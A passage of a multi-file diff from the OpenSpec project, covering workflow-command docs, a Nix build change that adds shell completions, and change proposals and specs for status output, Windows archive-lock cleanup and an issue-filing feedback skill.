Revises the change's existing planning artifacts and keeps them coherent in any direction (a design edit may ripple back to the proposal). It never edits code. Every edit is confirmed with you first. See [the update reference](commands.md#opsxupdate) for how it handles missing files without starting a new artifact.
|
||||
|
||||
If the change was already implemented, it recommends `/opsx:apply` so the code catches up with the revised plan. If your revision changes the change's *intent*, start fresh instead. See [When to Update vs. Start Fresh](#when-to-update-vs-start-fresh).
|
||||
|
||||
### Sync delta specs
|
||||
```text
|
||||
|
||||
+1
-1
@@ -56,7 +56,7 @@ In the default setup, your day looks like this. Optionally think it through firs
|
||||
/opsx:archive → specs updated, change archived
|
||||
```
|
||||
|
||||
**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any artifact exists. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md).
|
||||
**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any code gets written. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md).
|
||||
|
||||
Those are slash commands, typed in your AI assistant's chat. Setup (`openspec init`) happens in your terminal. If that split is new to you, read [How Commands Work](how-commands-work.md) first; it's the most common point of confusion.
|
||||
|
||||
|
||||
@@ -86,7 +86,7 @@ to read the hint.
|
||||
| Hermes Agent (`hermes`) | `.hermes/skills/openspec-*/SKILL.md`\*\*\* | Not generated (no command adapter; use skill-based `/openspec-*` invocations) |
|
||||
| iFlow (`iflow`) | `.iflow/skills/openspec-*/SKILL.md` | `.iflow/commands/opsx-<id>.md` |
|
||||
| Junie (`junie`) | `.junie/skills/openspec-*/SKILL.md` | `.junie/commands/opsx-<id>.md` |
|
||||
| Kilo Code (`kilocode`) | `.kilocode/skills/openspec-*/SKILL.md` | `.kilocode/workflows/opsx-<id>.md` |
|
||||
| Kilo Code (`kilocode`) | `.kilocode/skills/openspec-*/SKILL.md` | `.kilo/command/opsx-<id>.md` |
|
||||
| Kimi Code (`kimi`) | `.kimi-code/skills/openspec-*/SKILL.md` | Not generated (no command adapter; use skill-based `/skill:openspec-*` invocations) |
|
||||
| Kiro (`kiro`) | `.kiro/skills/openspec-*/SKILL.md` | `.kiro/prompts/opsx-<id>.prompt.md` |
|
||||
| Lingma (`lingma`) | `.lingma/skills/openspec-*/SKILL.md` | `.lingma/commands/opsx/<id>.md` |
|
||||
|
||||
+2
-2
@@ -140,7 +140,7 @@ You: Yes.
|
||||
You: /opsx:propose rebuild-search-index-on-write
|
||||
```
|
||||
|
||||
Explore creates no artifacts and writes no code. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md).
|
||||
Explore never writes code, and writes nothing else unless you ask, or say yes when it offers. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md).
|
||||
|
||||
### Expanded/Full Workflow (custom selection)
|
||||
|
||||
@@ -493,7 +493,7 @@ AI: Let me investigate your current setup and options...
|
||||
Your current stack suggests #1 or #2. What's your scale?
|
||||
```
|
||||
|
||||
Exploration clarifies thinking before you create artifacts.
|
||||
Exploration clarifies thinking before any code gets written.
|
||||
|
||||
### Verify Before Archiving
|
||||
|
||||
|
||||
@@ -52,10 +52,11 @@
|
||||
inherit (finalAttrs) pname version src;
|
||||
pnpm = pkgs.pnpm_10;
|
||||
fetcherVersion = 3;
|
||||
hash = "sha256-hET2NApPPSep8v59HcVGk3jfWLssaBnQisJF0Gx7ZE8=";
|
||||
hash = "sha256-ifgjl6/g7wpvcF4Ly/p+rxUbNEKiXF2u69CmpUM0olg=";
|
||||
};
|
||||
|
||||
nativeBuildInputs = with pkgs; [
|
||||
installShellFiles
|
||||
nodejs_22
|
||||
npmHooks.npmInstallHook
|
||||
pnpmConfigHook
|
||||
@@ -72,6 +73,21 @@
|
||||
|
||||
dontNpmPrune = true;
|
||||
|
||||
# `openspec completion generate` renders a static command registry, so it
|
||||
# needs no project and no network. Opting out of telemetry also disables
|
||||
# the update check, keeping the build offline.
|
||||
postInstall = lib.optionalString (pkgs.stdenv.buildPlatform.canExecute pkgs.stdenv.hostPlatform) ''
|
||||
export OPENSPEC_TELEMETRY=0
|
||||
completions=$(mktemp -d)
|
||||
for shell in bash fish zsh; do
|
||||
$out/bin/openspec completion generate "$shell" > "$completions/openspec.$shell"
|
||||
done
|
||||
installShellCompletion --cmd openspec \
|
||||
--bash "$completions/openspec.bash" \
|
||||
--fish "$completions/openspec.fish" \
|
||||
--zsh "$completions/openspec.zsh"
|
||||
'';
|
||||
|
||||
meta = with pkgs.lib; {
|
||||
description = "AI-native system for spec-driven development";
|
||||
homepage = "https://github.com/Fission-AI/OpenSpec";
|
||||
|
||||
+1
-1
@@ -1,2 +1,2 @@
|
||||
schema: spec-driven
|
||||
created: 2026-09-11
|
||||
created: 2026-09-04
|
||||
@@ -0,0 +1,44 @@
|
||||
# Name the command that resumes a change
|
||||
|
||||
## Why
|
||||
|
||||
`openspec status` reported where a change stood and stopped there. The command
|
||||
that moves it forward was already computed: `buildNextSteps` derives it and
|
||||
`--json` publishes it as `nextSteps`. But the text surface never rendered it.
|
||||
|
||||
So the surface a person actually reads ended on a checklist. `openspec new
|
||||
change` hands off with `Next: openspec status --change <name>`, and that next
|
||||
command then had no verb of its own. Picking a change back up after a lost
|
||||
session, or opening one somebody else started, meant already knowing which
|
||||
command came next (#906).
|
||||
|
||||
The completion case was the worst of it. Once every planning artifact existed,
|
||||
status printed a lone green "All planning artifacts complete!", which reads as
|
||||
*you are done* even while `tasks.md` sits half-checked. That is what #906
|
||||
reports: every artifact showed `done` rather than `ready`, so the conclusion was
|
||||
that nothing was left to run.
|
||||
|
||||
## What Changes
|
||||
|
||||
- `openspec status` ends with a `Next:` line naming one command: the next ready
|
||||
artifact's `openspec instructions` call while planning is unfinished, and
|
||||
`openspec instructions apply` once every planning artifact exists.
|
||||
- The line carries `--store <id>` whenever the resolved root is a store. A
|
||||
command without the flag would resolve against the pointer repo instead of the
|
||||
store the status was read from.
|
||||
- `--all` gives every change in the sweep its own line, and gives none to an
|
||||
entry that failed to load, since a failed entry has no artifact statuses to reason
|
||||
about.
|
||||
- The line is built from the same resolution as the JSON `nextSteps` sentence,
|
||||
so the two surfaces cannot name different commands. `nextSteps` itself is
|
||||
unchanged, character for character.
|
||||
|
||||
No new command, no new flag, no new JSON field. This renders a value the agent
|
||||
contract already publishes.
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected specs: `cli-artifact-workflow` (MODIFIED: Next Artifact Discovery)
|
||||
- Affected code: `src/commands/workflow/status.ts`,
|
||||
`src/core/change-status-policy.ts`
|
||||
- Affected docs: `docs/cli.md` (the status text output example)
|
||||
@@ -0,0 +1,37 @@
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Next Artifact Discovery
|
||||
|
||||
The workflow SHALL use `openspec status` output to determine what can be created next, rather than a separate next-command surface.
|
||||
|
||||
#### Scenario: Discover next artifacts from status output
|
||||
|
||||
- **WHEN** a user needs to know which artifact to create next
|
||||
- **THEN** `openspec status --change <id>` identifies ready artifacts with `[ ]`
|
||||
- **AND** the first `[ ]` entry is the schema's recommended next artifact
|
||||
- **AND** no dedicated "next command" is required to continue the workflow
|
||||
|
||||
#### Scenario: Status names the command that moves the change forward
|
||||
|
||||
- **WHEN** a user runs `openspec status --change <id>` in text mode and a next step resolves
|
||||
- **THEN** the output ends with a `Next:` line naming exactly one command to run
|
||||
- **AND** that command is `openspec instructions <artifact> --change "<id>" --json` for the first ready artifact while any planning artifact is still ready
|
||||
- **AND** it is `openspec instructions apply --change "<id>" --json` once every planning artifact exists, printed after the completion line rather than in place of it, because that line alone reads as "you are done" while implementation tasks remain
|
||||
- **AND** the named artifact is never one the change skipped, which satisfies its dependents but must not be created
|
||||
- **AND** the artifact id comes from the resolved schema, so a project whose schema declares neither of the default artifact names still gets a usable command
|
||||
|
||||
#### Scenario: The named command carries the store selection
|
||||
|
||||
- **WHEN** the resolved root is a store
|
||||
- **THEN** the `Next:` command includes `--store <id>`, so it resolves against the same root the status was read from rather than the pointer repo
|
||||
|
||||
#### Scenario: Both surfaces name the same command
|
||||
|
||||
- **WHEN** a next step resolves
|
||||
- **THEN** the command printed on the `Next:` line and the command inside the JSON `nextSteps` sentence are derived from one resolution, so the two surfaces cannot name different commands
|
||||
- **AND** the `Next:` line never appears in `--json` output, which stays parseable
|
||||
|
||||
#### Scenario: No next step resolves
|
||||
|
||||
- **WHEN** no artifact is ready and planning is not complete, or a change in an `--all` sweep failed to load
|
||||
- **THEN** no `Next:` line is printed for it, rather than a guessed or shared command
|
||||
@@ -0,0 +1,17 @@
|
||||
# Tasks
|
||||
|
||||
## 1. Resolve the next step once
|
||||
- [x] 1.1 Extract `resolveNextStep` returning the command and the sentence, leaving `buildNextSteps` returning exactly that sentence so the JSON contract is unchanged
|
||||
- [x] 1.2 Pin the published sentences verbatim in a unit test, so splitting command from sentence cannot reword the contract
|
||||
|
||||
## 2. Render it on the text surface
|
||||
- [x] 2.1 Print a `Next:` line from the resolved command, after the completion line rather than in place of it
|
||||
- [x] 2.2 Thread the store selection into the renderer so the command carries `--store`
|
||||
- [x] 2.3 Give every change in an `--all` sweep its own line, and a failed entry none
|
||||
|
||||
## 3. Cover the behavior
|
||||
- [x] 3.1 Assert the ready, planning-complete, skipped, and custom-schema cases end to end
|
||||
- [x] 3.2 Assert the printed command appears verbatim inside the JSON sentence, and that the line never leaks into `--json`
|
||||
|
||||
## 4. Record it
|
||||
- [x] 4.1 Update the `cli-artifact-workflow` spec delta and the `docs/cli.md` status output example
|
||||
@@ -105,6 +105,12 @@ Review feedback flagged that "update" alone is generic — could it apply to any
|
||||
### 6. Next-step guidance, especially for already-implemented changes
|
||||
A change can be revised after it was built — tasks checked off, `/opsx:apply` already run. The update itself behaves identically (planning artifacts only), but stopping silently would strand the user: the code and the revised plan now disagree. So the skill ends by reporting where the change stands (from the status JSON and the tasks checklist) and recommending the next command — `/opsx:continue` if artifacts are missing, `/opsx:apply` to carry a revised plan into code, `/opsx:archive` when everything is done. Guidance only: the skill never implements, mirroring the "All artifacts created! You can now implement this change with `/opsx:apply`" hand-off that `continue-change.ts` already uses.
|
||||
|
||||
### 7. Companion-file correction (#1733)
|
||||
|
||||
The original glob-file deferral was unreachable: one matching file marks an artifact `done`, while continue selects only `ready` artifacts. Update can therefore propose a missing companion file within an already populated glob. This corrects the unarchived spec's former blanket deferral without changing the graph's completion rule or starting another artifact.
|
||||
|
||||
The exception uses existing status and instructions output, requires current dependency context and user confirmation, and preserves the change-only planning scope. Immediately before creation, it rechecks scope and the concrete path and uses an operation that refuses an existing target. Delegated creators must obey the same limits. No new CLI command, metadata, graph state, or automatic artifact writer is introduced.
|
||||
|
||||
## Risks / Trade-offs
|
||||
|
||||
- **No deterministic staleness signal.** With no digest/ledger, the skill relies on the agent reading the artifacts to spot incoherence. Trade-off accepted: an agent that rewrites prose must read it anyway, and a content-blind signal earns its cost only for use cases this change excludes (Decision 3).
|
||||
|
||||
@@ -19,7 +19,7 @@ The system SHALL provide a `/opsx:update` workflow skill that revises a change's
|
||||
|
||||
#### Scenario: Missing artifacts are deferred to continue
|
||||
|
||||
- **WHEN** keeping the change coherent would require an artifact that has not been created yet
|
||||
- **WHEN** keeping the change coherent would require an artifact with no existing output files and status `ready` or `blocked`
|
||||
- **THEN** the skill revises only the artifacts that currently exist
|
||||
- **AND** it notes the not-yet-created artifacts and points the user to `/opsx:continue` to create them
|
||||
|
||||
@@ -53,7 +53,7 @@ The `/opsx:update` skill SHALL learn which artifacts exist and where they live b
|
||||
|
||||
#### Scenario: Resolve artifact paths cross-platform
|
||||
|
||||
- **WHEN** the skill reads or writes an artifact on macOS, Linux, or Windows
|
||||
- **WHEN** the skill reads or revises an existing artifact file on macOS, Linux, or Windows
|
||||
- **THEN** it uses the `existingOutputPaths` provided by the CLI status output
|
||||
- **AND** it does not assume forward-slash separators
|
||||
|
||||
@@ -63,11 +63,30 @@ The `/opsx:update` skill SHALL learn which artifacts exist and where they live b
|
||||
- **THEN** the skill edits the concrete files reported in that artifact's `existingOutputPaths`
|
||||
- **AND** it does not write to `resolvedOutputPath`, which for a glob artifact remains the glob pattern rather than a real file
|
||||
|
||||
#### Scenario: A new file under a glob artifact is deferred to continue
|
||||
#### Scenario: A missing companion file under a populated glob artifact
|
||||
|
||||
- **WHEN** keeping the change coherent would require a new file under a glob artifact that does not exist yet (for example a spec for a not-yet-captured capability)
|
||||
- **THEN** the skill revises only the files already present in `existingOutputPaths`
|
||||
- **AND** it points the user to `/opsx:continue`/`/opsx:propose` to create the new file rather than inventing a path from the glob
|
||||
- **WHEN** reconciliation identifies a missing companion file for a glob artifact with non-empty `existingOutputPaths`
|
||||
- **THEN** the skill MAY propose creating that file using the artifact's instructions, template, project context, rules, and current dependency files
|
||||
- **AND** it selects an unused concrete path matching the artifact's `outputPath` inside `changeRoot`, including after resolving linked parent directories
|
||||
- **AND** it creates the file only after user confirmation, refreshing status, instructions, and path checks immediately before creation
|
||||
- **AND** creation SHALL fail rather than overwrite a file that appeared in the meantime
|
||||
- **AND** it SHALL NOT start another artifact, write main specs, or edit implementation code
|
||||
|
||||
#### Scenario: Required inputs are no longer available
|
||||
|
||||
- **WHEN** a populated glob artifact remains `done` but a required non-skipped dependency is missing
|
||||
- **THEN** the skill SHALL stop new companion creation and ask the user to restore the dependency first
|
||||
|
||||
#### Scenario: Schema delegates companion creation
|
||||
|
||||
- **WHEN** the artifact instruction delegates creation to another skill or command
|
||||
- **THEN** the skill SHALL invoke it only if it can honor the confirmed concrete path and the update guardrails
|
||||
- **AND** otherwise it SHALL stop rather than invoke broader generation
|
||||
|
||||
#### Scenario: Intentionally skipped artifact
|
||||
|
||||
- **WHEN** status or instructions mark an artifact as skipped
|
||||
- **THEN** the skill SHALL leave it untouched and SHALL NOT treat its empty outputs as missing or send it to continue
|
||||
|
||||
### Requirement: Bidirectional Coherence Review
|
||||
|
||||
@@ -109,7 +128,7 @@ After applying confirmed revisions (or finding none needed), the `/opsx:update`
|
||||
|
||||
#### Scenario: Next step when artifacts are incomplete
|
||||
|
||||
- **WHEN** the update finishes and the change still has not-yet-created artifacts
|
||||
- **WHEN** the update finishes and the change still has artifacts with no outputs and status `ready` or `blocked`
|
||||
- **THEN** the skill recommends `/opsx:continue` to create them
|
||||
|
||||
#### Scenario: Next step when the change is fully done
|
||||
|
||||
@@ -0,0 +1,2 @@
|
||||
schema: spec-driven
|
||||
created: 2026-09-02
|
||||
@@ -0,0 +1,28 @@
|
||||
# Release archive claims on Windows
|
||||
|
||||
## Why
|
||||
|
||||
`openspec archive` creates `.openspec-archive.lock` before moving a change into
|
||||
the archive. On Windows, a successful archive can leave that lock behind because
|
||||
the cleanup check compares the device id returned by the open file handle with
|
||||
the one returned by `fs.lstat()`. Node reports a real device id from the handle
|
||||
and `0n` from the path stat on the affected Windows/NTFS setup, so the ownership
|
||||
check never passes.
|
||||
|
||||
The archive itself succeeds, but the next archive is blocked by the stale claim
|
||||
and the user has to delete `.openspec-archive.lock` by hand.
|
||||
|
||||
## What Changes
|
||||
|
||||
- Treat an inode match plus matching claim contents as sufficient when either
|
||||
side reports `dev: 0n`, while still requiring the two path stats around the
|
||||
read to match.
|
||||
- Keep the existing protection against deleting a claim that was replaced by
|
||||
another process.
|
||||
- Add a regression test that simulates the Windows path-stat device id behavior.
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected spec: `cli-archive`
|
||||
- Affected code: `src/core/archive.ts`
|
||||
- Affected tests: `test/core/archive.test.ts`
|
||||
@@ -0,0 +1,36 @@
|
||||
## MODIFIED Requirements
|
||||
|
||||
### Requirement: Archive Process
|
||||
|
||||
The archive operation SHALL follow a structured process to safely move changes to the archive.
|
||||
|
||||
#### Scenario: Performing archive
|
||||
|
||||
- **WHEN** archiving a change
|
||||
- **THEN** execute these steps:
|
||||
1. Create archive/ directory if it doesn't exist
|
||||
2. Generate target name as `YYYY-MM-DD-[change-name]` using current date, keeping the name as-is when it already starts with a `YYYY-MM-DD-` prefix
|
||||
3. Claim the target and verify that it does not already exist
|
||||
4. Prepare and validate spec updates from the active change's delta specs
|
||||
5. Apply the spec updates as a rollback-capable transaction
|
||||
6. Move the entire change directory to the archive location
|
||||
7. If a spec mutation or final move fails before a complete archive is secured, restore the spec transaction and leave or return the change at its active path
|
||||
8. If a verified fallback copy completes but staged-source cleanup fails, retain the complete archive and committed spec state for recovery instead of risking the only complete copy
|
||||
|
||||
#### Scenario: Archive already exists
|
||||
|
||||
- **WHEN** target archive already exists
|
||||
- **THEN** fail with error message
|
||||
- **AND** do not overwrite existing archive
|
||||
|
||||
#### Scenario: Successful archive
|
||||
|
||||
- **WHEN** move succeeds
|
||||
- **THEN** display success message with archived name and list of updated specs
|
||||
|
||||
#### Scenario: Successful archive releases its own claim
|
||||
|
||||
- **WHEN** an archive run successfully moves a change to its archive destination
|
||||
- **THEN** remove the temporary archive claim it created
|
||||
- **AND** do so on supported platforms even when a path stat does not report a device id
|
||||
- **AND** never remove a claim whose path identity or contents changed before cleanup
|
||||
@@ -0,0 +1,12 @@
|
||||
# Tasks
|
||||
|
||||
## 1. Release owned claims cross-platform
|
||||
- [x] 1.1 Compare archive claim files by inode and tolerate a missing device id from either stat result
|
||||
- [x] 1.2 Preserve the content and repeated-path-stat checks before unlinking
|
||||
|
||||
## 2. Verify behavior
|
||||
- [x] 2.1 Add regression coverage for the Windows `dev: 0n` path-stat case
|
||||
- [x] 2.2 Run the focused archive regression test
|
||||
|
||||
## 3. Record behavior
|
||||
- [x] 3.1 Add a `cli-archive` spec delta for successful claim cleanup
|
||||
@@ -1,288 +0,0 @@
|
||||
## Context
|
||||
|
||||
See proposal.md — Why. Three facts about the existing code shape every decision
|
||||
below.
|
||||
|
||||
- **Workflow ids are a wide seam, and part of it is compile-enforced.**
|
||||
`WORKFLOW_TO_SKILL_DIR` in `src/core/profile-sync-drift.ts:28` is typed
|
||||
`Record<WorkflowId, string>`, so adding an id to `ALL_WORKFLOWS` without adding
|
||||
it there fails `tsc`. Four other maps carry the same information without that
|
||||
protection: the duplicate `WORKFLOW_TO_SKILL_DIR` in `src/core/init.ts:111`
|
||||
(typed `Record<string, string>`), `COMMAND_TO_SKILL_NAME` in
|
||||
`src/utils/command-references.ts:53`, `OPENSPEC_SKILL_NAMES` in
|
||||
`src/core/config.ts:3`, and `COMMAND_IDS` in
|
||||
`src/core/shared/tool-detection.ts:41`. Only the first is protected; the other
|
||||
four drift silently, because the tests around them assert fixed counts rather
|
||||
than derive from `ALL_WORKFLOWS`.
|
||||
- **`feedback` is the only workflow module with no command template.** Every
|
||||
other `src/core/templates/workflows/*.ts` exports a `getOpsx*CommandTemplate`
|
||||
beside its skill template. `getCommandTemplates()` and `COMMAND_IDS` assume the
|
||||
pair, and `profile-sync-drift` reads a missing command file under
|
||||
`delivery: 'both'` as drift to repair on every run.
|
||||
- **The core profile is the default, and the only profile most users ever have.**
|
||||
`getProfileWorkflows` (`src/core/profiles.ts:45`) returns `CORE_WORKFLOWS`
|
||||
unconditionally for any non-`custom` profile and ignores `customWorkflows`
|
||||
entirely for `core`; `DEFAULT_CONFIG.profile` is `'core'`
|
||||
(`src/core/global-config.ts:45`). An id added to `ALL_WORKFLOWS` alone reaches a
|
||||
user only if they open `openspec config profile` and tick it, which also flips
|
||||
them to `custom`.
|
||||
|
||||
## Goals / Non-Goals
|
||||
|
||||
**Goals**
|
||||
|
||||
- A user who says "file that as an issue" gets a well-scoped issue, without
|
||||
reading anything first.
|
||||
- The issue arrives needing less work from a maintainer than it would have. That
|
||||
is the point: refinement at filing time is labour not spent in triage later.
|
||||
- A skill-filed issue and a form-filed issue carry the same fields, so triage
|
||||
reads one shape.
|
||||
- `openspec feedback` with no flags behaves exactly as it does today.
|
||||
|
||||
**Non-Goals**
|
||||
|
||||
- CI enforcement that every PR links an issue. #1834 rules it out, and a gate
|
||||
punishes the people the easy path has not reached yet.
|
||||
- Sending anything anywhere without an explicit confirmation. Feedback submission
|
||||
stays a deliberate act, independent of telemetry
|
||||
(`cli-feedback` — "Feedback always works").
|
||||
- Reading the issue forms at runtime. The CLI never fetches or parses
|
||||
`.github/`; see "Coupling to the forms" below.
|
||||
- Refinement in the CLI. Deciding which question matters next, given what the
|
||||
user just said, is the whole value and it needs a model. A fixed question list
|
||||
in `feedback.ts` would ask a crash and a papercut the same five things and
|
||||
could not tell a vague answer from a usable one. The CLI keeps the
|
||||
deterministic half — validating `--type`, assembling the body, matching the
|
||||
form's fields and labels, building the fallback URL — and the skill keeps the
|
||||
judgement.
|
||||
|
||||
## Decisions
|
||||
|
||||
### Keep the workflow id `feedback`
|
||||
|
||||
#1834 leaves this open: keep `feedback`, or rename to `report`?
|
||||
|
||||
Keep `feedback`. It is already the CLI verb (`openspec feedback`) and already the
|
||||
capability name (`openspec/specs/cli-feedback/`). Renaming would split the skill from the command it tells the agent
|
||||
to run, for a word that is no clearer at the point of use — a user asking to
|
||||
"report a bug" and a user asking to "send feedback" both want the same skill, and
|
||||
the skill's description is what an agent matches on, not its id.
|
||||
|
||||
`report` would also be the first workflow id that names a document rather than an
|
||||
act, against `propose` / `apply` / `archive` / `verify`.
|
||||
|
||||
### Make it a core workflow, not an optional one
|
||||
|
||||
This is the one decision here that changes the default install for every user, and
|
||||
it is the decision most worth arguing with.
|
||||
|
||||
The case for optional: the six core workflows are the steps of one loop — propose,
|
||||
explore, apply, update, sync, archive. `feedback` is not a step in that loop. Every
|
||||
core workflow costs a file in every configured tool's skill directory for every
|
||||
user, forever, and a skill about the tool itself is a weaker claim on that space
|
||||
than a skill about the user's work.
|
||||
|
||||
The case for core, which we take: the problem #1834 describes is not that the
|
||||
feedback skill is hard to find, it is that nobody has it. Shipping it as opt-in
|
||||
reproduces the current outcome at a smaller scale — the users who would tick a box
|
||||
in `openspec config profile` are the users already able to write a good issue by
|
||||
hand. The whole value is in reaching the user who has not read anything, and only
|
||||
the default install reaches them.
|
||||
|
||||
The cost is bounded and reversible: one skill, one command file, no change to any
|
||||
other workflow, and moving it out of `CORE_WORKFLOWS` later is a one-line change
|
||||
with the same update path in reverse.
|
||||
|
||||
Consequence to handle rather than assume: existing projects on a `custom` profile
|
||||
must not silently gain a workflow they did not choose.
|
||||
`displayMissingCoreWorkflowsNote` (`src/core/update.ts:689`, called at `:656`)
|
||||
already handles this: it returns early unless the profile is `custom`, diffs
|
||||
`CORE_WORKFLOWS` against the user's workflows, points at `openspec config
|
||||
profile`, and mutates nothing. This change relies on that path rather than adding
|
||||
one.
|
||||
|
||||
### `--type` defaults to `feedback`, and each type carries the form's labels
|
||||
|
||||
| `--type` | Title | Body sections | Labels |
|
||||
|---|---|---|---|
|
||||
| `feedback` (default) | `Feedback: <msg>` | Summary, Details | `feedback` |
|
||||
| `bug` | `<msg>` | What happened, Expected, Repro, Version, Agent, Environment | `bug`, `needs-triage` |
|
||||
| `feature` | `<msg>` | Problem, Who it affects, What you tried, Proposal | `enhancement`, `needs-triage` |
|
||||
|
||||
Four things follow from this table.
|
||||
|
||||
The default is `feedback` because the bare command must not change behavior for
|
||||
anyone typing it today. `--type bug` and `--type feature` drop the `Feedback: `
|
||||
prefix, because a title reading `Feedback: archive drops the main spec` misfiles
|
||||
a bug report.
|
||||
|
||||
The default keeps asking for the `feedback` label, and the fix for that label not
|
||||
existing is to create it, not to stop asking. The alternative — dropping the label
|
||||
request for the default type — buys one saved round trip and costs the ability to
|
||||
find general feedback in the issue list at all, which is the thing the label is
|
||||
for. `bug` and `enhancement` already exist. The missing-label retry stays for all
|
||||
three, because a label that exists today can be renamed tomorrow and a renamed
|
||||
label must not cost a user their report.
|
||||
|
||||
The labels per type are the forms' labels, `needs-triage` included. A report
|
||||
filed by the CLI and a report filed through the form have to land in the same
|
||||
triage queue, or the CLI path quietly skips it.
|
||||
|
||||
The fields per type are the issue forms' fields, in the forms' order. That is the
|
||||
point: the same report, whoever files it and however.
|
||||
|
||||
### The manual fallback targets the form, and degrades to today's URL
|
||||
|
||||
`generateManualSubmissionUrl()` gains `template=bug_report.yml` (or
|
||||
`feature_request.yml`) and one query parameter per form field id — GitHub's own
|
||||
prefill mechanism, which needs no API and no auth.
|
||||
|
||||
Two failure modes are handled rather than hoped away.
|
||||
|
||||
**Length.** A prefilled URL carries the whole body twice-encoded, and a long
|
||||
report can exceed what GitHub and some browsers accept. The builder caps the
|
||||
encoded URL; over the cap it returns the blank-issue URL the command builds today,
|
||||
with the body intact. A user who lands on a blank form with their text still in it
|
||||
has lost formatting, not their report. `--type feedback` uses that blank-issue URL
|
||||
unconditionally, since it has no form to target.
|
||||
|
||||
**Coupling to the forms.** The field ids (`what_happened`, `expected`, `repro`,
|
||||
`version`, `agent`, `environment`; `problem`, `who`, `tried`, `proposal`) become an
|
||||
interface the CLI depends on and `.github/` owns. The CLI does not read `.github/`
|
||||
— it cannot, since it runs in the user's project. It hard-codes the ids, and a
|
||||
test asserts that the ids it hard-codes are exactly the ids present in
|
||||
`.github/ISSUE_TEMPLATE/*.yml`, so renaming a field in a form fails CI in this
|
||||
repository rather than silently emptying a field for users. If an id ever does go
|
||||
stale in a released version, GitHub ignores unknown prefill parameters: the user
|
||||
gets the right form with one field blank, not an error.
|
||||
|
||||
### What the skill asks, and what it must never ask
|
||||
|
||||
The current template's flow is "review the conversation, draft, show it." #1834
|
||||
sharpens that to "draft, not interrogate," and taken literally that forbids the
|
||||
thing most worth doing: helping the user work out what they are actually asking
|
||||
for. A vague issue filed instantly is not cheaper than a good one filed a minute
|
||||
later — it is the same work, moved to a maintainer and made harder by the missing
|
||||
context. So the skill refines first, and the contract is about *which* things it
|
||||
may put to the user.
|
||||
|
||||
The split is facts versus judgements.
|
||||
|
||||
**Facts are the skill's job.** The OpenSpec version, the platform, the failing
|
||||
command and its output, the agent and model, what the user was doing — all
|
||||
observable. Asking for any of them is the interrogation failure mode, and it is
|
||||
the one users actually resent. This is the half of #1834's "draft, not
|
||||
interrogate" that survives intact, and it is stated as a prohibition in the spec
|
||||
because it is the one place a hard line is right.
|
||||
|
||||
**Judgements are the user's.** What the report is really asking for, who it
|
||||
affects, what it deliberately excludes, whether the reported problem is the
|
||||
problem or a symptom of one. These cannot be inferred, and they are exactly the
|
||||
questions whose absence costs a maintainer a round trip later. Scope is the
|
||||
highest-value one: *what should this not do* settles more downstream argument than
|
||||
any reproduction detail.
|
||||
|
||||
Two mechanics are worth borrowing rather than inventing, from Matt Pocock's
|
||||
`grilling` skill, which does this well:
|
||||
|
||||
- **Each question carries a recommended answer.** Agreement then costs a word, and
|
||||
a user who disagrees is arguing with a concrete proposal instead of composing
|
||||
one. This is also how OpenSpec's own `explore` already works — its shared
|
||||
`PLANNING_GUIDANCE` says to "state your preferred option and why it fits."
|
||||
- **Dependency ordering.** Never ask a question whose answer depends on one still
|
||||
open; settle the blocking decision, then the details it unlocks. `explore`
|
||||
already says "Follow dependencies"; grilling makes it the whole selection rule.
|
||||
|
||||
Grilling asks the entire unblocked frontier in a numbered round; `explore` asks
|
||||
one focused question at a time. The spec deliberately picks neither. Cadence is
|
||||
the kind of thing that should improve without a spec change, and the right answer
|
||||
probably differs between a bug report and a feature idea. What the spec fixes is
|
||||
the ordering rule and the recommendation, which are the parts that make the
|
||||
conversation short.
|
||||
|
||||
**Termination is by exhaustion, not by count.** Grilling refuses a question cap on
|
||||
purpose, and it is right to: some reports need one question and some need ten.
|
||||
What the spec requires instead is that the skill stop when nothing material is
|
||||
unsettled — and, just as importantly, that it be able to ask *nothing at all*. A
|
||||
skill that manufactures three questions for a typo report teaches users to stop
|
||||
invoking it, which costs more than any single badly-scoped issue.
|
||||
|
||||
### One file, no reference layer
|
||||
|
||||
Current skill-authoring practice — Anthropic's `skill-creator`, and Pocock's
|
||||
skills, whose SKILL.md files run 7 to 140 lines — is progressive disclosure: a
|
||||
short SKILL.md that points at sibling reference files loaded only when needed.
|
||||
|
||||
**OpenSpec cannot do that today.** `generateSkillContent`
|
||||
(`src/core/shared/skill-generation.ts:132`) returns a single string, and every
|
||||
adapter writes exactly one `SKILL.md` per skill directory. There is no mechanism
|
||||
for a sibling file — adding one would touch the generator, every adapter's file
|
||||
layout, `tool-detection.ts`'s existence checks, the `skills/` mirror, and the
|
||||
parity hashes. That is its own proposal, and this change should not smuggle it in.
|
||||
|
||||
So the whole skill has to fit one file, which makes leanness a constraint rather
|
||||
than a preference. Two consequences for how it is written, both drawn from the
|
||||
same current practice:
|
||||
|
||||
- **Explain why instead of stacking capitalised MUSTs.** The existing template has
|
||||
seven in a row under "Guardrails." `skill-creator` calls that a yellow flag and
|
||||
asks for the reasoning instead, so the model can generalise to the case nobody
|
||||
wrote down. The genuine invariants — show the draft, get confirmation, anonymise
|
||||
— stay imperative; the rest becomes explanation.
|
||||
- **Phrase instructions positively.** Pocock's `writing-for-agents` puts it well:
|
||||
steering by prohibition drags the forbidden behaviour into context and makes it
|
||||
*more* available. "Fill the version in yourself" beats "DO NOT ask for the
|
||||
version."
|
||||
|
||||
### The skill's own `name` has to change, even though the workflow id does not
|
||||
|
||||
The workflow id and the skill's frontmatter `name` are different things, and
|
||||
`feedback` is currently wrong in the second. `dirName` is a free literal per entry
|
||||
